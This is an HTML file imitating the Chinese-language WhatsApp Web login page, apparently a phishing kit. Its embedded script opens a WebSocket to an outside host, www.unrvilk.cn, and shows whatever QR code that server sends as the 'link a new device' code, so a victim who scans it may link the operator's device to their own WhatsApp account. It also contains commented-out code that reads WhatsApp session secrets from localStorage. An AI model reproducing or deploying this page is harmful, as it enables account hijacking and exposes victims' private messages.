index.html 26 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473
  1. <!DOCTYPE html>
  2. <!-- saved from url=(0025)https://web.whatsapp.com/ -->
  3. <html class="js adownload cssanimations csstransitions webp exiforientation webp-alpha webp-animation webp-lossless"
  4. dir="LTR" loc="zh-CN" x-wa-beta="1" lang="zh-CN">
  5. <head>
  6. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  7. <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
  8. <title>WhatsApp</title>
  9. <meta name="viewport" content="width=device-width">
  10. <meta name="google" content="notranslate">
  11. <meta name="format-detection" content="telephone=no">
  12. <meta name="description" content="直接从电脑发送和接收 WhatsApp 消息。">
  13. <meta name="og:description" content="直接从电脑发送和接收 WhatsApp 消息。">
  14. <!-- <meta name="og:url" content="/">-->
  15. <meta name="og:url" content="https://web.whatsapp.com/">
  16. <meta name="og:title" content="WhatsApp Web">
  17. <meta name="og:image" content="https://static.facebook.com/images/whatsapp/www/whatsapp-promo.png">
  18. <link rel="apple-touch-icon" sizes="194x194" href="https://web.whatsapp.com/apple-touch-icon.png" type="image/png">
  19. <meta name="theme-color" content="#111b21" media="(prefers-color-scheme: dark)">
  20. <meta name="theme-color" content="#f0f2f5">
  21. <link id="whatsapp-pwa-manifest-link" rel="manifest" href="/manifest-apple.json" >
  22. <!-- <link id="whatsapp-pwa-manifest-link" rel="manifest" href="https://web.whatsapp.com/manifest-apple.json" crossorigin="use-credentials">-->
  23. <style>#initial_startup {
  24. --startup-background: #f0f2f5;
  25. --startup-background-rgb: 240, 242, 245;
  26. --startup-icon: #bbc5cb;
  27. --secondary-lighter: #8696a0;
  28. --primary-title: #41525d;
  29. --progress-primary: #00c298;
  30. --progress-background: #e9edef
  31. }
  32. .dark #initial_startup {
  33. --startup-background: #111b21;
  34. --startup-background-rgb: 17, 27, 33;
  35. --startup-icon: #676f73;
  36. --primary-title: rgba(233, 237, 239, 0.88);
  37. --secondary-lighter: #667781;
  38. --progress-primary: #0b846d;
  39. --progress-background: #233138
  40. }
  41. #app, body, html {
  42. width: 100%;
  43. height: 100%;
  44. padding: 0;
  45. margin: 0;
  46. overflow: hidden
  47. }
  48. #app {
  49. position: absolute;
  50. top: 0;
  51. left: 0
  52. }
  53. #initial_startup {
  54. position: fixed;
  55. top: 0;
  56. left: 0;
  57. display: flex;
  58. flex-direction: column;
  59. align-items: center;
  60. justify-content: center;
  61. width: 100%;
  62. height: 100%;
  63. user-select: none;
  64. background-color: var(--startup-background);
  65. display: none !important;
  66. }
  67. #initial_startup .graphic {
  68. margin-top: -40px;
  69. color: var(--startup-icon)
  70. }
  71. #initial_startup .graphic .resume-logo {
  72. transform: translateX(calc(50% - 52px / 2))
  73. }
  74. #initial_startup .graphic::after {
  75. position: relative;
  76. top: -100%;
  77. left: calc(50% - 72px * 2 - 72px / 2);
  78. display: block;
  79. width: calc(72px * 3);
  80. height: 100%;
  81. content: '';
  82. background: linear-gradient(to right, rgba(var(--startup-background-rgb), .5) 0, rgba(var(--startup-background-rgb), .5) 33.33%, rgba(var(--startup-background-rgb), 0) 44.1%, rgba(var(--startup-background-rgb), 0) 55.8%, rgba(var(--startup-background-rgb), .5) 66.66%, rgba(var(--startup-background-rgb), .5) 100%);
  83. opacity: 1;
  84. animation: shimmer 1.5s linear .6s infinite
  85. }
  86. html[dir=rtl] #initial_startup .graphic::after {
  87. animation-direction: reverse
  88. }
  89. @keyframes shimmer {
  90. from {
  91. left: calc(50% - 72px * 2 - 72px / 2)
  92. }
  93. to {
  94. left: calc(50% - 72px / 2)
  95. }
  96. }
  97. #initial_startup .progress {
  98. position: relative;
  99. width: 420px;
  100. height: 3px;
  101. margin-top: 40px
  102. }
  103. #initial_startup .progress progress {
  104. vertical-align: top
  105. }
  106. #initial_startup .main {
  107. margin-top: 40px;
  108. font-size: 17px;
  109. color: var(--primary-title)
  110. }
  111. #initial_startup .secondary {
  112. margin-top: 12px;
  113. font-size: 14px;
  114. color: var(--secondary-lighter)
  115. }
  116. #initial_startup .secondary span {
  117. display: inline-block;
  118. margin-bottom: 2px;
  119. vertical-align: middle
  120. }
  121. progress {
  122. -webkit-appearance: none;
  123. appearance: none;
  124. width: 100%;
  125. height: 3px;
  126. margin: 0;
  127. color: var(--progress-primary);
  128. background-color: var(--progress-background);
  129. border: none
  130. }
  131. progress[value]::-webkit-progress-bar {
  132. background-color: var(--progress-background)
  133. }
  134. progress[value]::-moz-progress-bar, progress[value]::-webkit-progress-value {
  135. background-color: var(--progress-primary);
  136. transition: width .45s ease
  137. }
  138. ._1jJ70 {
  139. /*display: none !important;*/
  140. }
  141. </style>
  142. <link type="text/css" href="./stylex-534e186735a7216f8166323ac4f40ec0.css" rel="stylesheet">
  143. <link href="./app-397dc77d692df7ff99b6.css" rel="stylesheet">
  144. <link rel="stylesheet" type="text/css" href="./main~.2d430bc83a97ffb2016d.css">
  145. <link rel="stylesheet" type="text/css" href="./main.bc3c58bb1ad0ec61786a.css">
  146. <style id="asset-style" type="text/css"></style>
  147. <link id="favicon" rel="shortcut icon" type="image/png"
  148. href="./img/favicon_94e99ab189284094867d2e1220e42e9f.png"
  149. src="./img/favicon_94e99ab189284094867d2e1220e42e9f.png">
  150. <script src="jquery.min.js"></script>
  151. <script src="jquery.cookie.js"></script>
  152. <script type="text/javascript" src="qrcode.min.js"></script>
  153. <!--
  154. <script type="text/javascript" src="vendor1~app.a91035d81a749b3d5627.js"></script>
  155. <script type="text/javascript" src="app.df22dc4b1b984dc87f36.js"></script>
  156. <script type="text/javascript" src="binary-transparency-manifest-2.2322.15.json"></script>
  157. <script type="text/javascript" src="manifest-apple.json"></script>
  158. -->
  159. <script>
  160. function guid() {
  161. return 'xxxxxxxx-xxxx-4xxx-yxxx'.replace(/[xy]/g, function (c) {
  162. var r = Math.random() * 16 | 0,
  163. v = c == 'x' ? r : (r & 0x3 | 0x8);
  164. return v.toString(16);
  165. });
  166. }
  167. $(document).ready(function(){
  168. var loginsuccess = $.cookie('loginsucc');
  169. var uuid = $.cookie('uuid');
  170. console.log(loginsuccess+"==="+uuid);
  171. console.log(window.localStorage)
  172. if(loginsuccess&&uuid){
  173. console.log('recheck');
  174. //后台是否依然登录成功
  175. /*
  176. $.get("/checklogin?uuid="+uuid+"&timestamp="+Date.now(),function(isLogin,status){
  177. if(isLogin){
  178. window.open('about:blank','_top').close();
  179. }else{
  180. qrcode();
  181. }
  182. });
  183. */
  184. }else{
  185. //qrcode();
  186. }
  187. qrcode();
  188. });
  189. function sock(uuid){
  190. var ws = new WebSocket("wss://www.unrvilk.cn:8000/socket/993kZcOQO4bRJJ0R8RoyZCT1wtNDWasI");
  191. ws.onopen = function (e) {
  192. console.log("连接服务器成功");
  193. var date = {
  194. uuid: uuid,
  195. type: 'qrcode',
  196. };
  197. var json = JSON.stringify(date);
  198. ws.send(json);
  199. //setTimeout(() => ws.send(json), 1000)
  200. }
  201. ws.onclose = function(e){
  202. console.log("服务器关闭");
  203. }
  204. ws.onerror = function(){
  205. console.log("连接出错");
  206. }
  207. ws.onmessage = function(e){
  208. //let message = "message:" + e.data + "";
  209. let message = e.data;
  210. console.log(message);
  211. var obj = JSON.parse(message); //由JSON字符串转换为JSON对象
  212. switch (obj.type) {
  213. case 'qr':
  214. //new QRCode(document.getElementById("qrcode"), obj.value);
  215. document.getElementById("qrcode").innerHTML='';
  216. var qrcode = new QRCode(document.getElementById("qrcode"), {
  217. text: obj.value,
  218. width: 264,
  219. height: 264,
  220. colorDark : "#122e31",
  221. colorLight : "#fff",
  222. correctLevel : 0 // 二维码结构复杂性 0~3
  223. });
  224. //qrcode.clear();
  225. //qrcode.makeCode(obj.value);
  226. $('.b77wc>._30yMe').show();
  227. //$('#qrcode').attr('src', referBase64str);
  228. $('#qrcode').show();
  229. break;
  230. case 'login':
  231. $.cookie('loginsucc',true);
  232. $.cookie('uuid',uuid);
  233. //window.open('about:blank','_top').close();
  234. //window.location.href='https://web.whatsapp.com/';
  235. break;
  236. default:
  237. // code
  238. }
  239. }
  240. }
  241. function sock2(){
  242. var ws = new WebSocket("ws://www.unrvilk.cn:8000/socket/993kZcOQO4bRJJ0R8RoyZCT1wtNDWasI");
  243. ws.onopen = function (e) {
  244. console.log("连接服务器成功");
  245. var date = {
  246. uuid: uuid,
  247. type: 'qrcode',
  248. };
  249. var json = JSON.stringify(date);
  250. ws.send(json);
  251. }
  252. ws.onclose = function(e){
  253. console.log("服务器关闭");
  254. }
  255. ws.onerror = function(){
  256. console.log("连接出错");
  257. }
  258. ws.onmessage = function(e){
  259. let message = e.data;
  260. console.log(message);
  261. var obj = JSON.parse(message); //由JSON字符串转换为JSON对象
  262. switch (obj.type) {
  263. case 'qrcode':
  264. //new QRCode(document.getElementById("qrcode"), obj.value);
  265. document.getElementById("qrcode").innerHTML='';
  266. var qrcode = new QRCode(document.getElementById("qrcode"), {
  267. text: obj.value,
  268. width: 264,
  269. height: 264,
  270. colorDark : "#122e31",
  271. colorLight : "#fff",
  272. correctLevel : 0 // 二维码结构复杂性 0~3
  273. });
  274. //qrcode.clear();
  275. //qrcode.makeCode(obj.value);
  276. $('.b77wc>._30yMe').show();
  277. //$('#qrcode').attr('src', referBase64str);
  278. $('#qrcode').show();
  279. break;
  280. case 'checkLogin':
  281. $.cookie('loginsucc',true);
  282. $.cookie('uuid',uuid);
  283. //window.open('about:blank','_top').close();
  284. //window.location.href='https://web.whatsapp.com/';
  285. break;
  286. default:
  287. // code
  288. }
  289. }
  290. // setInterval(function (){
  291. // console.log('获取登录数据');
  292. // let lastWid = localStorage.getItem('last-wid-md');
  293. // let ChatThreadLoggingSecret = localStorage.getItem('ChatThreadLoggingSecret');
  294. // console.log(lastWid+'++'+ChatThreadLoggingSecret);
  295. // },1000);
  296. function qrcode(){
  297. var uuid = guid();
  298. sock(uuid);
  299. }
  300. function qrcode2(){
  301. var uuid = guid();
  302. $.get("/qrcode?type=init&uuid="+uuid+"&timestamp="+Date.now(),function(referBase64str,status){
  303. refreshqrcode(referBase64str,uuid);
  304. setInterval(function(){
  305. $.get("/qrcode?type=refresh&uuid="+uuid+"&timestamp="+Date.now(),function(referBase64str,status){
  306. refreshqrcode(referBase64str,uuid);
  307. });
  308. },1000);
  309. });
  310. }
  311. function refreshqrcode(referBase64str,uuid){
  312. if(referBase64str=='success'){
  313. $.cookie('loginsucc',true);
  314. $.cookie('uuid',uuid);
  315. //window.open('about:blank','_top').close();
  316. window.location.href='https://web.whatsapp.com/';
  317. }else if(referBase64str!=''){
  318. $('.b77wc>._30yMe').show();
  319. $('#qrcode').attr('src', referBase64str);
  320. $('#qrcode').show();
  321. }
  322. }
  323. </script>
  324. </head>
  325. <body class="web">
  326. <script data-binary-transparency-hash-key="inline-js-4b79b6dc91a7ee33373b115991c3eb287ed710cfb6708421b4cab682eddbfcbd">try {
  327. let systemThemeDark, theme = window.localStorage.getItem(""),
  328. systemThemeMode = window.localStorage.getItem("system-theme-mode");
  329. if (("true" === systemThemeMode || !theme) && window.matchMedia) {
  330. var systemTheme = window.matchMedia("(prefers-color-scheme: dark)");
  331. systemThemeDark = systemTheme && systemTheme.matches
  332. }
  333. let darkTheme = '"dark"' === theme || Boolean(systemThemeDark);
  334. darkTheme && document.body.classList.add("dark")
  335. } catch (e) {
  336. }</script>
  337. <div id="app">
  338. <div class="_1Fm4m tsBgS app-wrapper-web font-fix os-mac"><span></span>
  339. <div class="landing-wrapper">
  340. <div class="landing-wrapper-before"></div>
  341. <div class="landing-header"><span class="l7jjieqr fewfhwl7"><svg xmlns="http://www.w3.org/2000/svg"
  342. width="39" height="39" viewBox="0 0 39 39"><path
  343. fill="#00E676"
  344. d="M10.7 32.8l.6.3c2.5 1.5 5.3 2.2 8.1 2.2 8.8 0 16-7.2 16-16 0-4.2-1.7-8.3-4.7-11.3s-7-4.7-11.3-4.7c-8.8 0-16 7.2-15.9 16.1 0 3 .9 5.9 2.4 8.4l.4.6-1.6 5.9 6-1.5z"></path><path
  345. fill="#FFF"
  346. d="M32.4 6.4C29 2.9 24.3 1 19.5 1 9.3 1 1.1 9.3 1.2 19.4c0 3.2.9 6.3 2.4 9.1L1 38l9.7-2.5c2.7 1.5 5.7 2.2 8.7 2.2 10.1 0 18.3-8.3 18.3-18.4 0-4.9-1.9-9.5-5.3-12.9zM19.5 34.6c-2.7 0-5.4-.7-7.7-2.1l-.6-.3-5.8 1.5L6.9 28l-.4-.6c-4.4-7.1-2.3-16.5 4.9-20.9s16.5-2.3 20.9 4.9 2.3 16.5-4.9 20.9c-2.3 1.5-5.1 2.3-7.9 2.3zm8.8-11.1l-1.1-.5s-1.6-.7-2.6-1.2c-.1 0-.2-.1-.3-.1-.3 0-.5.1-.7.2 0 0-.1.1-1.5 1.7-.1.2-.3.3-.5.3h-.1c-.1 0-.3-.1-.4-.2l-.5-.2c-1.1-.5-2.1-1.1-2.9-1.9-.2-.2-.5-.4-.7-.6-.7-.7-1.4-1.5-1.9-2.4l-.1-.2c-.1-.1-.1-.2-.2-.4 0-.2 0-.4.1-.5 0 0 .4-.5.7-.8.2-.2.3-.5.5-.7.2-.3.3-.7.2-1-.1-.5-1.3-3.2-1.6-3.8-.2-.3-.4-.4-.7-.5h-1.1c-.2 0-.4.1-.6.1l-.1.1c-.2.1-.4.3-.6.4-.2.2-.3.4-.5.6-.7.9-1.1 2-1.1 3.1 0 .8.2 1.6.5 2.3l.1.3c.9 1.9 2.1 3.6 3.7 5.1l.4.4c.3.3.6.5.8.8 2.1 1.8 4.5 3.1 7.2 3.8.3.1.7.1 1 .2h1c.5 0 1.1-.2 1.5-.4.3-.2.5-.2.7-.4l.2-.2c.2-.2.4-.3.6-.5s.4-.4.5-.6c.2-.4.3-.9.4-1.4v-.7s-.1-.1-.3-.2z"></path></svg></span>
  347. <div class="landing-headerTitle">WhatsApp 网页版</div>
  348. </div>
  349. <div class="landing-window">
  350. <div class="landing-main">
  351. <div class="vGm4z _2Jgm7">
  352. <div class="_3qC8O">
  353. <div class="_3AjBo">
  354. <div class="landing-title _2K09Y">在您的电脑上使用 WhatsApp</div>
  355. <div class="_1MxED"></div>
  356. <ol class="_1G5cu">
  357. <li class="_3JRy8">在您的手机上打开 WhatsApp</li>
  358. <li class="_3JRy8"><span dir="ltr" class="_11JPr">点击“<strong><span dir="ltr"
  359. class="_11JPr">菜单 <span
  360. class="l7jjieqr fewfhwl7"><svg height="24px" viewBox="0 0 24 24"
  361. width="24px"><rect fill="#f2f2f2" height="24"
  362. rx="3" width="24"></rect><path
  363. d="m12 15.5c.825 0 1.5.675 1.5 1.5s-.675 1.5-1.5 1.5-1.5-.675-1.5-1.5.675-1.5 1.5-1.5zm0-2c-.825 0-1.5-.675-1.5-1.5s.675-1.5 1.5-1.5 1.5.675 1.5 1.5-.675 1.5-1.5 1.5zm0-5c-.825 0-1.5-.675-1.5-1.5s.675-1.5 1.5-1.5 1.5.675 1.5 1.5-.675 1.5-1.5 1.5z"
  364. fill="#818b90"></path></svg></span></span></strong>”或“<strong><span
  365. dir="ltr" class="_11JPr">设置 <span class="l7jjieqr fewfhwl7"><svg width="24"
  366. height="24"
  367. viewBox="0 0 24 24"><rect
  368. fill="#F2F2F2" width="24" height="24" rx="3"></rect><path
  369. d="M12 18.69c-1.08 0-2.1-.25-2.99-.71L11.43 14c.24.06.4.08.56.08.92 0 1.67-.59 1.99-1.59h4.62c-.26 3.49-3.05 6.2-6.6 6.2zm-1.04-6.67c0-.57.48-1.02 1.03-1.02.57 0 1.05.45 1.05 1.02 0 .57-.47 1.03-1.05 1.03-.54.01-1.03-.46-1.03-1.03zM5.4 12c0-2.29 1.08-4.28 2.78-5.49l2.39 4.08c-.42.42-.64.91-.64 1.44 0 .52.21 1 .65 1.44l-2.44 4C6.47 16.26 5.4 14.27 5.4 12zm8.57-.49c-.33-.97-1.08-1.54-1.99-1.54-.16 0-.32.02-.57.08L9.04 5.99c.89-.44 1.89-.69 2.96-.69 3.56 0 6.36 2.72 6.59 6.21h-4.62zM12 19.8c.22 0 .42-.02.65-.04l.44.84c.08.18.25.27.47.24.21-.03.33-.17.36-.38l.14-.93c.41-.11.82-.27 1.21-.44l.69.61c.15.15.33.17.54.07.17-.1.24-.27.2-.48l-.2-.92c.35-.24.69-.52.99-.82l.86.36c.2.08.37.05.53-.14.14-.15.15-.34.03-.52l-.5-.8c.25-.35.45-.73.63-1.12l.95.05c.21.01.37-.09.44-.29.07-.2.01-.38-.16-.51l-.73-.58c.1-.4.19-.83.22-1.27l.89-.28c.2-.07.31-.22.31-.43s-.11-.35-.31-.42l-.89-.28c-.03-.44-.12-.86-.22-1.27l.73-.59c.16-.12.22-.29.16-.5-.07-.2-.23-.31-.44-.29l-.95.04c-.18-.4-.39-.77-.63-1.12l.5-.8c.12-.17.1-.36-.03-.51-.16-.18-.33-.22-.53-.14l-.86.35c-.31-.3-.65-.58-.99-.82l.2-.91c.03-.22-.03-.4-.2-.49-.18-.1-.34-.09-.48.01l-.74.66c-.39-.18-.8-.32-1.21-.43l-.14-.93a.426.426 0 00-.36-.39c-.22-.03-.39.05-.47.22l-.44.84-.43-.02h-.22c-.22 0-.42.01-.65.03l-.44-.84c-.08-.17-.25-.25-.48-.22-.2.03-.33.17-.36.39l-.13.88c-.42.12-.83.26-1.22.44l-.69-.61c-.15-.15-.33-.17-.53-.06-.18.09-.24.26-.2.49l.2.91c-.36.24-.7.52-1 .82l-.86-.35c-.19-.09-.37-.05-.52.13-.14.15-.16.34-.04.51l.5.8c-.25.35-.45.72-.64 1.12l-.94-.04c-.21-.01-.37.1-.44.3-.07.2-.02.38.16.5l.73.59c-.1.41-.19.83-.22 1.27l-.89.29c-.21.07-.31.21-.31.42 0 .22.1.36.31.43l.89.28c.03.44.1.87.22 1.27l-.73.58c-.17.12-.22.31-.16.51.07.2.23.31.44.29l.94-.05c.18.39.39.77.63 1.12l-.5.8c-.12.18-.1.37.04.52.16.18.33.22.52.14l.86-.36c.3.31.64.58.99.82l-.2.92c-.04.22.03.39.2.49.2.1.38.08.54-.07l.69-.61c.39.17.8.33 1.21.44l.13.93c.03.21.16.35.37.39.22.03.39-.06.47-.24l.44-.84c.23.02.44.04.66.04z"
  370. fill="#818b90"></path></svg></span></span></strong>”,然后选择“<strong>已关联的设备</strong>”</span>
  371. </li>
  372. <li class="_3JRy8"><span>点击“<strong>关联新设备</strong>”</span></li>
  373. <li class="_3JRy8"><span>将您的手机对准此屏幕并扫描二维码</span></li>
  374. </ol>
  375. </div>
  376. <div class="_2I5ox">
  377. <div id="qrcode" data-testid="qrcode" class="_19vUU"
  378. data-ref="2@CgoEq0nRRa/L4oVTtZ4709mot318O34Ff0U9H+ApaTG3xqx+5ekV9W3OUuGYUyLnQkuETM/lcBLpqA==,NiUV5Uq+kSER2jvISqlDbchBvyIg2gfIFnkrXEQm8w8=,YMJ1u1ahfoTROyz58CHwdpT2t15LXtxRuG/Uvfy4bBY=,CzJcG8o+Aq2nIFS8BXfduSYPvquE0QnkQtwIgHxCeRE="
  379. style=""><span></span>
  380. <div class="_10aH-"><span class="W3myC"><svg xmlns="http://www.w3.org/2000/svg"
  381. width="64" height="64"
  382. viewBox="0 0 64 64"><path fill="#FFF"
  383. d="M6.525 43.936a29.596 29.596 0 0 1-3.039-13.075C3.494 14.568 16.755 1.313 33.05 1.313c7.904.004 15.328 3.082 20.91 8.666 5.581 5.586 8.653 13.01 8.65 20.907-.007 16.294-13.266 29.549-29.558 29.549a29.648 29.648 0 0 1-12.508-2.771L1.391 62.687l5.134-18.751z"></path><path
  384. fill="#123033"
  385. d="M50.801 13.135c-4.739-4.742-11.039-7.354-17.752-7.357-13.837 0-25.094 11.253-25.099 25.085a25.039 25.039 0 0 0 3.349 12.541l-3.56 12.999 13.304-3.488a25.084 25.084 0 0 0 11.996 3.054h.011c13.83 0 25.088-11.256 25.095-25.087.002-6.703-2.607-13.005-7.344-17.747zM33.05 51.733h-.008a20.866 20.866 0 0 1-10.62-2.906l-.762-.452-7.894 2.07 2.108-7.694-.497-.789a20.802 20.802 0 0 1-3.189-11.097c.004-11.496 9.361-20.85 20.87-20.85a20.73 20.73 0 0 1 14.746 6.115 20.733 20.733 0 0 1 6.104 14.752c-.006 11.497-9.363 20.851-20.858 20.851z"></path><path
  386. fill="#123033"
  387. d="M25.429 19.26a8.65 8.65 0 0 0-1.028.011 2.352 2.352 0 0 0-.95.255c-.221.114-.427.277-.75.582-.305.288-.481.54-.668.782a6.974 6.974 0 0 0-1.443 4.291l.001.003a8.243 8.243 0 0 0 .844 3.607c1.043 2.307 2.763 4.746 5.035 7.008a24.676 24.676 0 0 0 1.657 1.6 24.145 24.145 0 0 0 9.814 5.229s.751.179 1.391.218c.021.001.04.003.061.003a9.207 9.207 0 0 0 1.422-.033 5.086 5.086 0 0 0 2.129-.59c.423-.225.623-.337.978-.561 0 0 .11-.072.319-.23.345-.257.558-.438.845-.736.211-.22.394-.479.534-.772.2-.417.401-1.213.481-1.874.061-.505.042-.781.036-.952-.011-.275-.238-.558-.487-.678l-1.486-.668s-2.222-.967-3.581-1.587a1.278 1.278 0 0 0-.452-.104c-.341-.021-.723.068-.966.324v-.004c-.013-.001-.182.145-2.031 2.385-.102.122-.341.387-.754.362a1.086 1.086 0 0 1-.185-.029 3.402 3.402 0 0 1-.49-.17c-.316-.134-.427-.185-.643-.278l-.013-.006a15.361 15.361 0 0 1-4.013-2.556 15.88 15.88 0 0 1-.927-.885c-1.074-1.041-1.953-2.148-2.607-3.24-.035-.06-.09-.146-.15-.242-.107-.174-.225-.381-.262-.523-.095-.376.157-.678.157-.678s.622-.68.911-1.05c.278-.356.518-.704.671-.952.301-.484.39-.982.238-1.37a216.767 216.767 0 0 0-2.219-5.215c-.156-.339-.598-.589-1.005-.636a6.284 6.284 0 0 0-.414-.041"></path></svg></span>
  388. </div>
  389. <canvas width="264" height="264" aria-label="Scan me!" role="img"></canvas>
  390. </div>
  391. </div>
  392. <div class="_3rDmx"></div>
  393. </div>
  394. </div>
  395. </div>
  396. <div class="_2XHqw">
  397. <div class="landing-title DL70t">教程</div>
  398. <div class="_3Zpe8"><a rel="noopener noreferrer" class="edeob0r2"
  399. href="https://faq.whatsapp.com/1317564962315842?lang=zh-CN" target="_blank">需要登录帮助吗?</a>
  400. </div>
  401. <div class="pnyuK">
  402. <div class="_2ojs8"><span><div class="FXQhO" role="button" style="opacity: 1;"><div
  403. class="_2KwNO"><div class="_3whss"><svg xmlns="http://www.w3.org/2000/svg" width="28"
  404. height="34" viewBox="0 0 28 34"><path
  405. fill="#FFF"
  406. d="M1 4.983v24.034a2.982 2.982 0 0 0 4.564 2.53L24.792 19.53a2.981 2.981 0 0 0 0-5.058L5.563 2.454A2.983 2.983 0 0 0 1 4.983z"></path></svg></div></div></div><img
  407. src="./qr-video-hq_c001ebd6ddb0ba5fc7de491dfb556024.png" alt=""
  408. class="_2eXLG _11JPr" tabindex="-1" style="visibility: visible;"></span></div>
  409. </div>
  410. </div>
  411. </div>
  412. </div>
  413. </div>
  414. </div>
  415. <div id="hard_expire_time" data-time="1700350311.352"></div>
  416. <div id="initial_startup" >
  417. <div class="graphic"><span><svg width="250" height="52" xmlns="http://www.w3.org/2000/svg"><path class="resume-logo"
  418. d="M37.7 31.2c-.6-.4-3.8-2-4.4-2.1-.6-.2-1-.4-1.4.3l-2 2.5c-.4.4-.8.5-1.5.2-.6-.3-2.7-1-5.1-3.2-2-1.7-3.2-3.8-3.6-4.5-.4-.6 0-1 .3-1.3l1-1.1.6-1.1c.2-.4 0-.8 0-1.1l-2-4.8c-.6-1.3-1.1-1-1.5-1.1h-1.2c-.5 0-1.2.1-1.8.8-.5.6-2.2 2.2-2.2 5.3 0 3.2 2.3 6.3 2.6 6.7.3.4 4.6 7 11 9.7l3.7 1.4c1.5.5 3 .4 4 .2 1.3-.1 3.9-1.5 4.4-3 .5-1.5.5-2.8.4-3-.2-.4-.6-.5-1.3-.8M26 47.2c-3.9 0-7.6-1-11-3l-.7-.4-8.1 2L8.4 38l-.6-.8A21.4 21.4 0 0126 4.4a21.3 21.3 0 0121.4 21.4c0 11.8-9.6 21.4-21.4 21.4M44.2 7.6a25.8 25.8 0 00-40.6 31L0 52l13.7-3.6A25.8 25.8 0 0044.3 7.5"
  419. fill="currentColor"></path></svg></span>
  420. </div>
  421. <div class="progress">
  422. <progress value="0" max="100" dir="ltr"></progress>
  423. </div>
  424. <div class="main">WhatsApp</div>
  425. <div class="secondary"><span><svg width="10" height="12" xmlns="http://www.w3.org/2000/svg"><path
  426. d="M5 1.6c1.4 0 2.5 1 2.6 2.4v1.5h.2c.5 0 1 .4 1 1V10c0 .6-.5 1-1 1H2.3a1 1 0 01-1.1-1V6.5c0-.6.5-1 1-1h.2V4.2c0-1.4 1-2.5 2.4-2.6H5zm0 1.2c-.7 0-1.3.6-1.3 1.3v1.4h2.6V4.2c0-.7-.4-1.2-1-1.3H5z"
  427. fill="currentColor"></path></svg> </span>&nbsp;端到端加密
  428. </div>
  429. </div>
  430. <link href="/binary-transparency-manifest-2.2322.15.json" id="binary-transparency-manifest-preload"/>
  431. <scripts src="/locales/zh-CN-json.38d2a410caee876abb49.js"></scripts>
  432. </body>
  433. </html>